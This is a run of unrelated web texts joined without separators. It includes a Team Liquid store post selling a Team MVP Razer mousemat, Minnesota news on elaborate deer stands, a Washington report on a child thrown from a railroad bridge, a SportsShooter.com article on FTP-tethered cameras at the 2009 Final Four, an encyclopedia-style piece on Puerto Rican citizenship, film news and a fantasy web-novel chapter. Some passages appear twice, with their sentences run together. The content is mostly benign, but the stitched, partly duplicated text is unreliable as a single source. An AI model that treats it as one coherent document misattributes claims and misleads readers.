For now (and possibly ever, if we don't sell any more of these), we're only shipping the Team MVP Goliathus from our US warehouse. So if you're a fan in Europe, then we're afraid the shipping is going to be a bit more costly. Hopefully you guys will love the MVP Goliathus, and we'll restock on another batch, including in the Euro store.
And after that, who knows what our next move could be? So this won't be another apologetic post about the delay with our EU store, nor is it a heads-up for our amazing TL Hoodies being back in stock. No, this is about something that will change your life, something that you are going to use every day, despite it not having a retina display or a FullHD FaceTime camera.Thanks to Razer, we are proud to introduce the first non-TL branded product on the TL Store - the incredible RAZER GOLIATHUS E-SPORTS EDITION - TEAM MVP. Man, that's a mouthful - but this epic mousemat deserves its epic name. Right now we only have 200, and so you should probably rush to get one, even though we know you got the TeamLiquid Goliathus eight months ago. As we all know that's never a legit excuse...For now (and possibly ever, if we don't sell any more of these), we're only shipping the Team MVP Goliathus from our US warehouse. So if you're a fan in Europe, then we're afraid the shipping is going to be a bit more costly. Hopefully you guys will love the MVP Goliathus, and we'll restock on another batch, including in the Euro store.And after that, who knows what our next move could be?
View 1 View 2 Box
RAZER GOLIATHUS - TEAM MVP $19.99
Razer Product Page Buy Now
Region Price USA $19.99 (USD) Canada $19.99 (CAD) Euro(€) zone* €19.99 (EUR) United Kingdom £17.99 (GBP) Australia $29.95 (AUD) Taiwan $690 (NTD) All Other Regions $19.99
* Does NOT mean the continent of Europe. Euro-zone denotes the countries that use the Euro as their sole currency: Austria, Belgium, Cyprus, Estonia, Finland, France, Germany, Greece, Ireland, Italy, Luxembourg, Malta, the Netherlands, Portugal, Slovakia, Slovenia, and Spain.
Non Euro-zone European countries are included in "All Other Regions."
Pricing is identical to Razerzone.com
Region Shipping USA $9 Canada $12 Everywhere else $15
Slick cloth weave for unbridled speed and effortless control
Anti-fraying stitched frame extends mat durability
Pixel-precise targeting and tracking
Exclusive team design
Size: 355 mm (length) x 254 mm (width) x 3 mm (height)
Rubber base for a secure grip on smooth surfaces Product Features:
A Message from Liquid`Nazgul
Selling two hundred mousepads might not seem like a big deal at first glance, but I still think this is a special occasion. This marks the first time the Team Liquid store will sell merchandise with branding from other pro-gaming teams. This is an experiment for us, as it allows us to gauge what kind of demand there is for non-Liquid related products.
We're pleased to start off with team MVP, a great team with an amazing star in DongRaeGu who is beloved in Korea and internationally. As a team that has won multiple major championships, MVP has fans all over the world. The Team MVP Razer Goliathus would be a treat for any of them, as the MVP logo has been incorporated beautifully into one of Razer's most popular products.
It's exciting to continue working together with Razer and expand the scope of the TL store. We are working directly with Razer on this project, and team MVP has given Razer their agreement and support. If these mousemats prove to be popular, it could lead to even more cooperation between Razer and pro-teams to create awesome products in the future, and similar products being stocked in the TL store.
St. Louis County officials are seeing deer stands — platforms perched in trees to help hunters more easily spot deer — with stairways, decks, shingled roofs, commercial windows, insulation, propane heaters, carpeting, lounge chairs, tables and even the occasional generator, the Duluth News Tribune reported Sunday (http://bit.ly/Lzie7J).
Some hunters have even planted crops near their stands in hopes of attracting deer, said St. Louis County Land Commissioner Bob Krepps. He said hunters have also cut down trees near their stand to improve sight lines.
"We're getting overbuilt," Krepps said. "We're seeing mansions out there — basically hunting shacks on stilts."
Private landowners can do what they want, Krepps said, but tax-forfeited land makes up nearly 1 million acres of county forest, and is supposedly open to all hunters. Hunters who customize stands in these areas are inappropriately claiming public land as their own, he said.
"A lot of these cross the line of what's appropriate," Krepps said. "If I'm out walking and come across one of these buildings on posts, am I going to feel welcome to hunt there? Probably not. And if I do, there's likely to be a fight. That shouldn't happen on land that belongs to everyone."
One deer stand was 18 feet wide and 20 feet long; county officials said it was more like a cabin. And officials have even found some stands on public property with locks on the doors.
Traditional wooden stands are often abandoned to rot in the woods. That gets more complicated with new, sometimes elaborately manufactured stands that include plastic, metal and shingles, which aren't biodegradable "and really leave a mess in the woods," said Jason Meyer, a forest manager for the county.
A Department of Social and Health Services spokesperson could not give details as to why the children were taken. The spokesperson said both children are safe.
The incident happened Wednesday, August 24, at the Devonshire Road train bridge, a popular gathering spot for swimmers along the Wynoochee River.
According to the Grays Harbor County Sheriff's Office, people called police to report a child had been thrown off a bridge. A video posted to Facebook by witnesses shows an adult hurling a young boy from a railroad bridge into the river.
“He was screaming and crying, it was terrible,” said Brianna Jones, who was swimming nearby with a group of friends.
“As soon as he hit the water, my heart sank, I felt so bad, I didn’t know what to do,” said Kaylub Fawley, who shot the video Wednesday.
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He said he was about to take a photo of his buddy when he noticed the activity on the bridge above.
“I saw the little boy and I had a gut feeling, I was like alright I got to start recording this, and as soon as I started recording, he went off,” said Fawley, who called the police and provided them with a copy of the video.
Witnesses say several people were yelling at the man on the trestle to not throw the child, but the man did anyway. Witnesses say the child's mom swam to where the child was going to land before the child was thrown, and the child was wearing a life jacket.
Deputies and a Washington State Patrol trooper arrived at the scene and found the child and his mother, a 22-year-old woman from Aberdeen. An aid unit examined the child and concluded 4-year-old was not hurt.
Grays Harbor County Sheriff's Office shared more details on the incident:
The mother initially told deputies that she had lost sight of her son and then all of the sudden, noticed an adult male throw her son from the bridge. She eventually stated that her child had kept asking her to jump off of the bridge however she continued to tell him no. Shortly thereafter, a man she had just met at the river had her son on the bridge and said he was going to throw her son off of the bridge.The mother claimed it was at this point that she agreed to it and swam out into the water.The man then threw her son into the river and the mother retrieved him.
Deputies found the man, a 35-year-old Aberdeen resident, nearby. He acknowledged he just met the woman and her child at the river, and said "the child wanted to jump and he was just trying to help the 4 year old off the bridge safely."
Deputies believe the man was under the influence of alcohol when they questioned him.
After conferring with investigators, prosecutors cited both the mother and the 35-year-old man with Reckless Endangerment; the man was also cited for Criminal Trespass 2nd degree for being on the trestle.
Reckless Endangerment is a gross misdemeanor that can be punished by up to 364 days in jail and/or a $5,000 fine. Criminal Trespass in the Second Degree is a misdemeanor that can be punished by up to 90 days in jail and/or a $1,000 fine.
Aberdeen police assisted the state when it took the children into custody on Wednesday and reported they ran into problems at the Aberdeen home.
According to Aberdeen Police Lt. Kevin Darst, a family dog attacked two police officers. Darst said the dog tried to bite the leg of a female officer and knocked the officer back. Another officer tried using a taser to stop the dog, but that didn't work. Darst said the officer ended up hitting the dog and getting it under control.
The dog was seized and is in custody at the Aberdeen animal shelter.
|| SportsShooter.com: News Item: Posted 2009-04-23
Photographer's Toy Box: Wiring Up The Final Four
USA TODAY used Live Ingest to make their tethered transmissions at the Final Four faster and easier.
By Robert Deutsch, USA TODAY
Photo by Sean Dougherty / USA TODAY
Bob Deutsch testing the system courtside in Detroit.
While 30 of the top college basketball players were shooting jump shots, throwing down slam dunks and running up and down a temporary basketball court in the middle of the home of the Detroit Lions football team, little did they know that beneath and around them were thousands and thousands of feet of wiring carrying image files of every little thing they did.
During the 2009 Men's Final Four at Detroit's Ford Field, USA TODAY used cameras tethered to the digital editing workroom, as did several other organizations. The reason is speed! Photos are delivered back to the editor on site in a couple of seconds, rather than having to wait on time outs and shipping cards with messengers, then ingesting manually via card readers into the laptops.
Eight cameras were connected using Nikon's WT-4a wireless transmitters, via Ethernet cable, to network switches at courtside, one on each end, which were then connected to a 1,400-foot fiber optic line.
The fiber was necessary because of the long run back to the edit room, too far for just Ethernet. My colleague Bert Hanashiro and I each had two handheld cameras, and one floor remote, all connected. We also had two remotes set on the side of the court, also connected to the system.
We brought 1,000 feet of Ethernet cable, and needed 1,004 feet... but some fudging made it work. Bob Covington of Getty Images supplied the fiber cable, with use and costs shared by Getty, McClatchy and us.
We started the installation Wednesday morning at 8am, running all the court wiring, attaching dozens of 8-wire RJ-45 plugs, several hundred feet of zip wire to trigger remotes, and finished the network, the edit room connections, and remote cameras late Thursday, with some guidance from MCT's George Bridges and Getty's Anthony Jacobs.
Friday is a practice day for the teams and we used that time to test the system and also produce stills and a video for daily online use. Saturday was the semi-finals, Sunday more video features and then the Championship game on Monday.
One difference from other coverage was that we used a new feature in Photo Mechanic (4.6.1) that eased the workflow significantly: "Live Ingest".
The photos are sent as they are shot, full-res, via FTP over the hard wire network to an incoming folder on a MacBook Pro laptop and we set up Photo Mechanic to "watch" that folder for incoming files. When a photo moved into the folder, PM copies the file to an edit folder on the desktop, and puts a full caption on the photo, even picking up the photographer's name from the camera info.
Our picture editor on-site in Detroit, Sean Dougherty, was then able to see all incoming images in one folder, with a boilerplate caption (except for the actual players name), with the correct photographers info already applied. All he had to do is crop, add the player ID's, and send via FTP back to our office.
Everything we did was with speed and eliminating as much unnecessary time as we could
PM's preferences can be set to show extra info in the browser under the thumbnail, and we used that ability to display at a quick glance which camera any photo came from, the photographer's ID, as well as the exact time it was shot.
Sean said: "We programmed our eight cameras (four remotes and four hand held) to the correct local time, and set the PM browser to sync by "Capture Time", so each play came in as a group, giving us several looks at the same play from several different angles. This also saved time editing since there was no back and forth reviewing of photos. I basically updated the live ingest and scrolled through the incoming photos, added a quick caption and sent without toning, and repeated.
"Our sports front main photo was shot, edited, captioned and in our photo server in less than five minutes. Our ability to get the photos back to the paper quickly, gives us a better chance of getting the latest photos in the paper, especially when one edition's deadline is five minutes after the end of the game."
Another feature we figured out and utilized was Bert being able to shoot the jubo and trophy ceremony and instead of searching the floor for a messenger or racing back to the digital workroom to ingest cards, he just plugged his cameras back into the system after the trophy and all the photos started moving back to Sean in seconds automatically. While they were moving, he also shot the net cutting from that same spot and those files also moved at the same time.
We were able to have one editor send 115 cropped and captioned photos during the game.
Tethering isn't new, but Live Ingest makes the process even faster and easier so we could make tight deadlines and beat the competition.
Equipment needed for this setup:
• 1400 feet fiber cable
• 2 fiber transceivers, to connect fiber to Ethernet
• 2 fiber patch cables and 4 ST to ST barrel connectors (for fiber)
• 3 8-port Network switches
• 1 router
• Several Ethernet patch cords
• 1,004 feet Ethernet cable
• RJ-45 ez plugs
• Cable stripping tools, for making the Ethernet connections
• Ethernet network tester (so easy to mess up the 8 wire plug installs)
• 4 or 5 power strips
• 2 25-foot AC extension cords
• 8 Nikon WT-4 wi-fi transmitters with either AC adapters or several extra batteries
• 500-feet zip cord for remotes
• 6 Nikon motor drive remote cords
• 4 floor plates and low, small ball heads
(Robert Deutsch is a staff photographer with USA TODAY based on the East Coast. He shares the same birthday with other luminaries like Jack Nicholson, Queen Elizabeth II, Andie MacDowell, Tony Danza, Tony Romo and Iggy Pop.)
Related Links:
Bob's member page
While 30 of the top college basketball players were shooting jump shots, throwing down slam dunks and running up and down a temporary basketball court in the middle of the home of the Detroit Lions football team, little did they know that beneath and around them were thousands and thousands of feet of wiring carrying image files of every little thing they did.During the 2009 Men's Final Four at Detroit's Ford Field,used cameras tethered to the digital editing workroom, as did several other organizations. The reason is speed! Photos are delivered back to the editor on site in a couple of seconds, rather than having to wait on time outs and shipping cards with messengers, then ingesting manually via card readers into the laptops.Eight cameras were connected using Nikon's WT-4a wireless transmitters, via Ethernet cable, to network switches at courtside, one on each end, which were then connected to a 1,400-foot fiber optic line.The fiber was necessary because of the long run back to the edit room, too far for just Ethernet. My colleague Bert Hanashiro and I each had two handheld cameras, and one floor remote, all connected. We also had two remotes set on the side of the court, also connected to the system.We brought 1,000 feet of Ethernet cable, and needed 1,004 feet... but some fudging made it work. Bob Covington of Getty Images supplied the fiber cable, with use and costs shared by Getty, McClatchy and us.We started the installation Wednesday morning at 8am, running all the court wiring, attaching dozens of 8-wire RJ-45 plugs, several hundred feet of zip wire to trigger remotes, and finished the network, the edit room connections, and remote cameras late Thursday, with some guidance from MCT's George Bridges and Getty's Anthony Jacobs.Friday is a practice day for the teams and we used that time to test the system and also produce stills and a video for daily online use. Saturday was the semi-finals, Sunday more video features and then the Championship game on Monday.One difference from other coverage was that we used a new feature in Photo Mechanic (4.6.1) that eased the workflow significantly: "Live Ingest".The photos are sent as they are shot, full-res, via FTP over the hard wire network to an incoming folder on a MacBook Pro laptop and we set up Photo Mechanic to "watch" that folder for incoming files. When a photo moved into the folder, PM copies the file to an edit folder on the desktop, and puts a full caption on the photo, even picking up the photographer's name from the camera info.Our picture editor on-site in Detroit, Sean Dougherty, was then able to see all incoming images in one folder, with a boilerplate caption (except for the actual players name), with the correct photographers info already applied. All he had to do is crop, add the player ID's, and send via FTP back to our office.Everything we did was with speed and eliminating as much unnecessary time as we couldPM's preferences can be set to show extra info in the browser under the thumbnail, and we used that ability to display at a quick glance which camera any photo came from, the photographer's ID, as well as the exact time it was shot.Sean said: "We programmed our eight cameras (four remotes and four hand held) to the correct local time, and set the PM browser to sync by "Capture Time", so each play came in as a group, giving us several looks at the same play from several different angles. This also saved time editing since there was no back and forth reviewing of photos. I basically updated the live ingest and scrolled through the incoming photos, added a quick caption and sent without toning, and repeated."Our sports front main photo was shot, edited, captioned and in our photo server in less than five minutes. Our ability to get the photos back to the paper quickly, gives us a better chance of getting the latest photos in the paper, especially when one edition's deadline is five minutes after the end of the game."Another feature we figured out and utilized was Bert being able to shoot the jubo and trophy ceremony and instead of searching the floor for a messenger or racing back to the digital workroom to ingest cards, he just plugged his cameras back into the system after the trophy and all the photos started moving back to Sean in seconds automatically. While they were moving, he also shot the net cutting from that same spot and those files also moved at the same time.We were able to have one editor send 115 cropped and captioned photos during the game.Tethering isn't new, but Live Ingest makes the process even faster and easier so we could make tight deadlines and beat the competition.• 1400 feet fiber cable• 2 fiber transceivers, to connect fiber to Ethernet• 2 fiber patch cables and 4 ST to ST barrel connectors (for fiber)• 3 8-port Network switches• 1 router• Several Ethernet patch cords• 1,004 feet Ethernet cable• RJ-45 ez plugs• Cable stripping tools, for making the Ethernet connections• Ethernet network tester (so easy to mess up the 8 wire plug installs)• 4 or 5 power strips• 2 25-foot AC extension cords• 8 Nikon WT-4 wi-fi transmitters with either AC adapters or several extra batteries• 500-feet zip cord for remotes• 6 Nikon motor drive remote cords• 4 floor plates and low, small ball heads
Contents copyright 2019, SportsShooter.com. Do not republish without permission.
Certificate of Puerto Rican Citizenship
Front and back pages of a Certificate of Puerto Rican Citizenship application form as provided by the Puerto Rico State Department in the Summer of 2007.
Location of the island of Puerto Rico (red)
Puerto Rican citizenship was first legislated by the United States Congress in Article 7 of the Foraker Act of 1900[1] and later recognized in the Constitution of Puerto Rico.[2][3] Puerto Rican citizenship existed before the U.S. takeover of the islands of Puerto Rico and continued afterwards.[2][4] Its affirmative standing was also recognized before and after the creation of the Commonwealth of Puerto Rico in 1952.[4][5] Puerto Rican citizenship was recognized by the United States Congress in the early twentieth century and continues unchanged after the creation of the Commonwealth of Puerto Rico.[5][6][4] The United States government also continues to recognize a Puerto Rican nationality.[7] Puerto Rican citizenship was once also recognized by the Spanish Government, which recognized Puerto Ricans as a people with Puerto Rican, and not American citizenship. It also at one time granted Spanish citizenship to Puerto Ricans on the basis of their Puerto Rican (and not American) citizenship.[8]
On November 18, 1997, the Supreme Court of Puerto Rico, through its ruling in Miriam J. Ramirez de Ferrer v. Juan Mari Brás, reaffirmed the standing existence of the Puerto Rican citizenship,[3] and on October 25, 2006, Puerto Rican Socialist Party president Juan Mari Brás became the first person to receive a Puerto Rican citizenship certificate from the Puerto Rico Department of State.[9] Since 2007, the Government of Puerto Rico has been issuing "Certificates of Puerto Rican Citizenship" to anyone born in Puerto Rico or to anyone born outside of Puerto Rico with at least one parent who was born in Puerto Rico.[10][11]
United States recognition of Puerto Rican citizenship [ edit ]
On April 12, 1900, the United States Congress enacted the Foraker Act of 1900, which replaced the governing military regime in Puerto Rico with a civil form of government. Section VII of this act created a Puerto Rican citizenship for the residents "born in Puerto Rico and, therefore, subject to its jurisdiction."[2] The Puerto Rican citizenship replaced the Spanish citizenship that Puerto Ricans held at the time[12] in 1898.[13] Such Puerto Rican citizenship was granted by Spain in 1897.[14] This citizenship was reaffirmed by the United States Supreme Court in 1904 by its ruling in Gonzales v. Williams which denied that Puerto Ricans were United States citizens and labeled them as noncitizen nationals.[15] In a 1914 letter of refusal to the offer of U.S. citizenship and addressed to both the President of the United States and the U.S. Congress, the Puerto Rico House of Delegates stated "We, Porto Ricans, Spanish-Americans, of Latin soul ... are satisfied with our own beloved Porto Rican citizenship, and proud to have been born and brethren in our own motherland."[16] The official 1916 Report by the American colonial governor of Puerto Rico to the U.S. Secretary of War (the former name for the Department of Defense[17]), addresses both citizenships, the Puerto Rican citizenship and United States citizenship,[18] in the context of the issuance of passports, further evidencing that the Puerto Rican citizenship did not disappear when the Americans took over the island in 1898.
Puerto Rican citizenship and Puerto Rican nationality [ edit ]
A 1918 official report from the American colonial governor of Puerto Rico to the U.S. Secretary of War, this one after the Jones Act of 1917, had become law, states that the "passports...[are used to] prove a person's nationality," thus making clear that Puerto Rican citizenship and Puerto Rican nationality were one and the same.[19] The United States government also recognizes this status in its own records. For example, the CIA World Fact Book, states that the nationality of Puerto Ricans is not "American" but, in fact, "Puerto Rican."[20] The Spanish Government also recognizes Puerto Ricans as a people with Puerto Rican, "and not American," citizenship. It also provides Puerto Rican citizens privileges not provided to citizens of several other nations, such as Haití, Jamaica, Trinidad y Tobago y Guyana.[21] Since 2007, the Government of Puerto Rico has been issuing "Certificates of Puerto Rican Citizenship" to anyone born in Puerto Rico or born outside of Puerto Rico with at least one parent who was born in Puerto Rico.[22]
United States citizenship [ edit ]
On March 2, 1917, the Jones–Shafroth Act was signed, collectively making Puerto Ricans United States citizens without rescinding their Puerto Rican citizenship. In 1922, the U.S. Supreme court in the case of Balzac v. Porto Rico ruled that the full protection and rights of the U.S constitution do not apply to residents of Puerto Rico until they come to reside in the United States proper. Luis Muñoz Rivera, who participated in the creation of the Jones-Shafroth Act, gave a speech in the U.S. House floor that argued in favor of Puerto Rican citizenship. He declared that "if the earth were to swallow the island, Puerto Ricans would prefer American citizenship to any citizenship in the world. But as long as the island existed, the residents preferred Puerto Rican citizenship."[23] The Jones Act allowed locals to renounce the United States citizenship and remain exclusively Puerto Rican citizens, at the cost of being stripped of the right to vote.[24] Despite these arbitrary limitations, 287 residents completed the process to forfeit the statutory recognition.[24]
In 1952, upon U.S. Congress approving the Constitution of the Commonwealth of Puerto Rico, also reaffirmed that Puerto Rican citizenship continued in full force. This was further reaffirmed in 2006 while the U.S. Senate probed into the President's Task Force on Puerto Rico's status.[4] In 1953, U.S Ambassador Henry Cabot Lodge Jr., in a memorandum sent to the United Nations, recognized that "the people of Puerto Rico continue to be citizens of the United States as well as of Puerto Rico."[5]
Puerto Rican citizenship reaffirmed [ edit ]
In 1994, Puerto Rican activist Juan Mari Brás flew to Venezuela and renounced his US citizenship before a consular agent in the US Embassy in Caracas.[25] Mari Brás, through his renunciation of U.S. citizenship, sought to redefine Section VII as a source of law that recognized a Puerto Rican nationality separate from that of the United States.[26] In December 1995, his denaturalization was confirmed by the US State Department. Among the arguments that ensued over his action was whether he would now be able to vote in elections in Puerto Rico. On November 18, 1997, the Supreme Court of Puerto Rico through its ruling in Miriam J. Ramirez de Ferrer v. Juan Mari Brás reaffirmed the Puerto Rican citizenship by ruling that U.S. citizenship was not a requirement to vote in Puerto Rico.[3] According to the court's majority opinion, the Puerto Rican citizenship is recognized several times in the Puerto Rican constitution including section 5 of article III, section 3 of article IV, and section 9 of article V.[3] In a 2006 memorandum, the Secretary of Justice of Puerto Rico concluded, based on the Mari Brás case, that the Puerto Rican citizenship is "separate and different" from the United States citizenship.[5]
The Puerto Rico Supreme Court decision affirms that persons born in Puerto Rico and persons subject to their jurisdiction are citizens of Puerto Rico under the Commonwealth of Puerto Rico Constitution. The Court cited as part of the applicable jurisdiction to decide this case, United States v. Cruikshank, 92 U.S. 542 (1875) pp 549, the U.S. Supreme Court affirm: There is in our political system a government of each of the several States, and a Government of the United States. Each is distinct from the others, and has citizens of its own who owe it allegiance, and whose rights, within its jurisdiction, it must protect. The same person may be at the same time a citizen of the United States and a citizen of a State, but his rights of citizenship under one of those governments will be different from those he has under the other.[27]
Also the Puerto Rico Supreme Court cited U.S. Supreme Court case Snowden v. Hughes, 321 U.S. 1, 7 (1943) that affirm: The protection extended to citizens of the United States by the privileges and immunities clause includes those rights and privileges which, under the laws and Constitution of the United States, are incident to citizenship of the United States, but does not include rights pertaining to state citizenship and derived solely from the relationship of the citizen and his state established by state law. The right to become a candidate for state office, like the right to vote for the election of state officers, is a right or privilege of state citizenship, not of national citizenship, which alone is protected by the privileges and immunities clause.[28]
Finally, the Puerto Rico Supreme Court affirms that Puerto Rican citizenship identifies the persons that have it as integral members of the Puerto Rican community. This is the integral juridical tie between the Commonwealth of Puerto Rico and their citizens.[3] The court stated that "Puerto Rican political community is defined better by the citizenship of Puerto Rico than by US citizenship. That is a fact not subject to historical rectifications and a reality which no law can change."[25]
On November 17, 1997, Governor Pedro Rosselló signed Law 132 amending Puerto Rico's Political Code. The law states "Toda persona que posea la nacionalidad y sea ciudadano de los Estados Unidos y residente dentro de la jurisdicción del territorio de Puerto Rico será ciudadano de Puerto Rico" ("Every person who possesses the nationality and is a citizen of the United States and resides within the jurisdiction of the territory of Puerto Rico shall be a citizen of Puerto Rico").
Since the summer of 2007, the Puerto Rico State Department has developed a protocol to grant Puerto Rican citizenship certificates to Puerto Ricans.[29] Certificates of Puerto Rican citizenship are issued to any persons born on the island as well as to those born outside of the island that have at least one parent who was born on the island.[10][11]
Judicial review [ edit ]
In the case of Colon v. U.S. Department of State, 2 F.Supp.2d 43 (1998), plaintiff was a United States citizen born in Puerto Rico and resident of Puerto Rico, who executed an oath of renunciation before a consular officer at the U.S. Embassy in Santo Domingo, Dominican Republic. In rejecting Plaintiff's renunciation, the Department notes that Plaintiff demonstrated no intention of renouncing all ties to the United States. While Plaintiff claims to reject his United States citizenship, he nevertheless wants to remain a resident of Puerto Rico. Plaintiff's response to the Secretary's position is to claim a fundamental distinction between United States and Puerto Rican citizenship. The U.S. Department of State position asserts that renunciation of U.S. citizenship must entail renunciation of Puerto Rican citizenship as well. The court does decide to not enter to the merits of the citizenship issue; however the U.S. District Court for the District of Columbia rejected Colon's petition for a writ of mandamus directing the Secretary of State to approve a Certificate of Loss of Nationality in the case because the plaintiff wanted to retain one of the primary benefits of U.S. citizenship while claiming he was not a U.S. citizen. The Court described the plaintiff as a person, "claiming to renounce all rights and privileges of United States citizenship, [while] Plaintiff wants to continue to exercise one of the fundamental rights of citizenship, namely to travel freely throughout the world and when he wants to, return and reside in the United States. The court based this decision on the Immigration and Nationality Act section 8 U.S.C. § 1101(a)(38), that provide the term "United States" definition and evince that Puerto Rico is a part of the United States for such purposes.[30][31][32]
Based on the federal court ruling on Colon v. U.S. Department of State, on June 4, 1998—and several months after the U.S. Government had accepted his renunciation—the U.S. State Department notified the president of the Puerto Rico Socialist Party, Juan Mari Brás, that they were rescinding their acceptance, and refused to accept Juan Mari Brás' renunciation, determining that Mari Brás could not renounce his American citizenship because he lived in Puerto Rico and not in another country foreign to the United States. This, said the federal agency, made Mari Brás a U.S. citizen.[33][34]
International recognition [ edit ]
The Spanish government recognizes the Certificado de Ciudadania Puertorriqueña as a legitimate document.[35] Based on the Spanish Civil Code's Organic Law 4/2000 (enacted January 11, 2000 and amended by Royal Decree on April 20, 2011) which covers the awarding of the Spanish citizenship to foreigners, those that possess the document are considered Ibero-American nationals.[35] On June 25, 2007, the General Directory of Registry and Notary Affairs of the Ministry of Justice the passed RDGRN 25-06-2007, which recognized Puerto Rico as an Ibero-American country as far as the Spanish Civil Code is concerned.[35] To further confirm this stance, the Ministry of Justice has included Puerto Rico in their list of Ibero-American countries eligible to acquire the Spanish citizenship with priority, while also excluding the Caribbean countries of Jamaica, Haiti, Guyana, and Trinidad & Tobago.[35] The certificate of Puerto Rican citizenship is the foremost requisite to qualify under these circumstances.[35] The other requisite is at least two years of continuous residence in Spanish soil.[35] Puerto Ricans who only possess the United States citizenship are not considered residents of an Iberoamerican country and do not receive priority, requiring instead ten years of continuous residence.[35] In legal terms, Puerto Ricans who acquire Spanish citizenship with the use of the certificate would possess four citizenships recognized in Europe: those of Puerto Rico, the United States, Spain and the European Union (automatically granted along that of Spain).[35] On September 23, 2013, Representative Manuel Natal Albelo presented a bill that would render official the international recognition of the Puerto Rican citizenship through the Secretary of State, pursuing more rights within the international community.[36]
The spec made a lot of noise when it sold, hitting the market just as John Wick: Chapter 2 was scoring big at the box office. Buyers found it a close cousin, with a female protagonist, and even back then there was talk of interest from major actresses. Here’s the logline: When a legendary retired assassin is diagnosed with terminal brain cancer, she must return to the life she left behind and complete one final job in order to secure a future for her young daughter.
What has sown a career-changing opportunity for this costume designer was The Good Time Girls, a feminist Western short film Hoffman wrote and directed. It takes place in the Old West, and stars Laura Dern as the leader of a brothel populated by damaged women who, it turns out, hold grudges. She shot it on 35mm, and made it as part of the AFI Directing Workshop for Women and Refinery 29’s Shatterbox Anthology. Alia Shawkat and Garret Dillahunt also star. Hoffman has additional collaborations planned with Dern, and is developing The Good Time Girls into a feature.
After working with Terrence Malick, Tim Burton, Stephen Soderbergh, Christoph Waltz, Bob Richardson and Emmanual Lubezki, she was the costume designer for Quentin Tarantino’s last films and Waltz’s personal costumer on Django Unchained. Judging by the dialogue and the violence of the short, his influence wasn’t lost on her. Here is the short, and it’s worth watching:
Ruthless is being produced by Vinson Films and Weimaraner Republic Pictures. Matti Leshem and Lynn Harris, who partner in the latter, are producing with Tripp Vinson. Leshem, who with Harris has been making female protagonist-driven films like The Shallows, said that Hoffman made a most persuasive case that she was ready to step up and take the helm of an ambitious thriller that will involve intricate action scenes, shot in numerous locations.
Chapter 253 Hot air balloon trade
“Your Royal Highness, I would like to ask you, when we stepped through the door,” after drinking all the iced water in the bucket, Hogg’s appearance had finally recovered, “The painting drawn in the hall… I am afraid that is something that is impossible for the average person to draw, isn’t it? No matter whether it is the degree of lifelike or the view from high up in the air.” He lowered his voice and asked, “Is this the work of a witch?”
Roland looked over at Margaret only to see the latter nodding, “Your Highness, please rest assured, Hogg is my old friend from many years, he is also not someone who is malicious towards witches.”
“You guessed it, it really is a witch who made the painting.” After the hot air balloon tour to the beach from two days ago, Roland had wanted to preserve the view of the beautiful scene he had seen, plus the former hall’s decoration was actually simple and crude, without any paintings, so he had asked Soraya to turn the wall behind the Lord’s seat into a grand mural. With the scenic wall at the back, the hall’s style had instantly been upgraded by several grades.
“I knew it,” Hogg sighed. “Although they are propagated as the devil’s minions, those strange abilities they possess are indeed enviable. It is impossible for ordinary people to fly into the air and draw such an exquisite mural beyond compare afterward.”
“Only the second half of your sentence is correct,” Roland shook his head, “Ordinary people, even if they don’t rely on magic, can also fly. They can even fly higher than an eagle and fly faster than the swift.”
“You have a good sense of humor,” Hogg laughed out loud, “Only if we have a pair of wings, and also become lighter than the birds.”
Margaret however, sounded startled as she asked, “Really?”
“Of course,” the Prince said confidently, “And I can prove it to you.”
Letting the merchants receive the knowledge and experience about his various types of inventions, wouldn’t only promote their relationship, it would also open up a new effective way for them to trade – it was the same for everything else, from the mugs to the liquor, whether he was able to sell it or not was another matter. Anyway, the caravan would be staying in town for several days, and after their regular trading, the negotiation would also be finalized. The rest of their time was typically filled with drinking and being merry making. Furthermore, Anna was also very interested in taking a trip in the hot air balloon, so by giving her a possibility to rest for a moment from her busy work, it could be seen as an action which fulfilled multiple purposes.
Soon, Cloud Gazer was once more inflated, and all the witches who couldn’t ride with the balloon last time had gathered. Lucia even shyly asked if her younger sister could also go up and take a look, which Roland had immediately agreed to.
As the balloon that was carrying everyone began to slowly rising, Margaret covered her mouth in astonishment, while Hogg grabbed hold of the edge of the basket, not knowing whether he should be excited or scared. Since Bell’s size was too small, it was impossible for her to see the scenery outside of the basket. Without any better option, Lucia had to hold her up and permitted for her to ride on her shoulders, while gingerly stepping close to the edge of the basket and repeatedly warning her to not fiddle around too much. As the navigator and the rescuer, Lightning continually circled around the hot air balloon, only stopping from time to time to pull a face at Bell.
After the hot air balloon circled along the southern coastline one more time, their airborne sightseeing trip had come to its end.
Back at the castle, Hogg’s legs were still trembling, stammering he said, “I would have never thought, that looking down from up in the sky would be this frightening, I felt like I was always falling down.
“After flying for a few times it will be okay,” Roland laughed. “Leaving with your feet from the ground for the first time will always create such an illusion, it is the same for a person who had never gone out to sea, they will also start to vomit due to the sea’s up and down motion.
“You spoke the truth,” Margaret exclaimed in admiration, “Today, the scenery I saw was indeed inconceivable, looking from the sky to the edge of the sea, it actually resembled a blue arc.”
“But Your Royal Highness, I do not seem to be wrong,” Hogg drank some iced liquor, “Even though we ordinary people were able to fly in the sky, but this was still a witch’s ability. If it weren’t for them, this big guy would never be able to fly.”
“No, old friend,” Even before Roland had the chance to answer, Margaret had already begun to speak, “Don’t tell me you haven’t realized it? Miss Anna had been merely releasing her flame, nothing more. I also specifically asked Lightning, she said that as long as enough heat is poured into the airbag, Cloud Gazer will rise up into the sky. The flame is not a witch’s privilege, Your Royal Highness, am I right?”
She once more proved why she was able to establish herself as a Fjord ocean merchant in King’s City, no matter if it was her perception, or her intelligence, they were both exceptional. Roland smiled and nodded, “Hot air will rises, while cold air will sink, that’s also the reason why it is called a hot air balloon.”
“Really, would using a brazier be hot enough?” Hogg asked disbelievingly.
“That won’t do, because if you want to let the balloon float in the sky, you have to supply it with heat the entire time. Furthermore, wood itself is already very heavy, so you can’t take it with you without end, because of this the problem needs to be solved in a special way.”
“Can you achieve it?” Margaret asked impatiently.
“Well… I should be able to,” after thinking for a while, Roland continued, “But there are still some troubles.”
“That would be truly wonderful,” Margaret answered immediately. “I hope that I will be able to purchase four to five hot air balloons, they don’t need to be so big, it would already be enough if they can carry one person.”
“Do you want to put it on your ships?” Hogg asked.
“Well, the mast cannot reach an unlimited height, but a hot air balloon can, it can go as high as the rope connected to the basket is long. Moreover, if it connects to the mast, it also won’t drift away with the wind. So, by using a hot air balloon as a lookout, they should be able to detect nearing pirate ship much earlier. Regarding the sea trade, besides the unpredictable storms and tsunamis, the biggest harm to our merchant fleets comes from pirates.”
“But I fear that it is unlikely that the construction cost will be low,” Roland calculated it within his mind, “I estimate that it will require more than one thousand gold royals.”
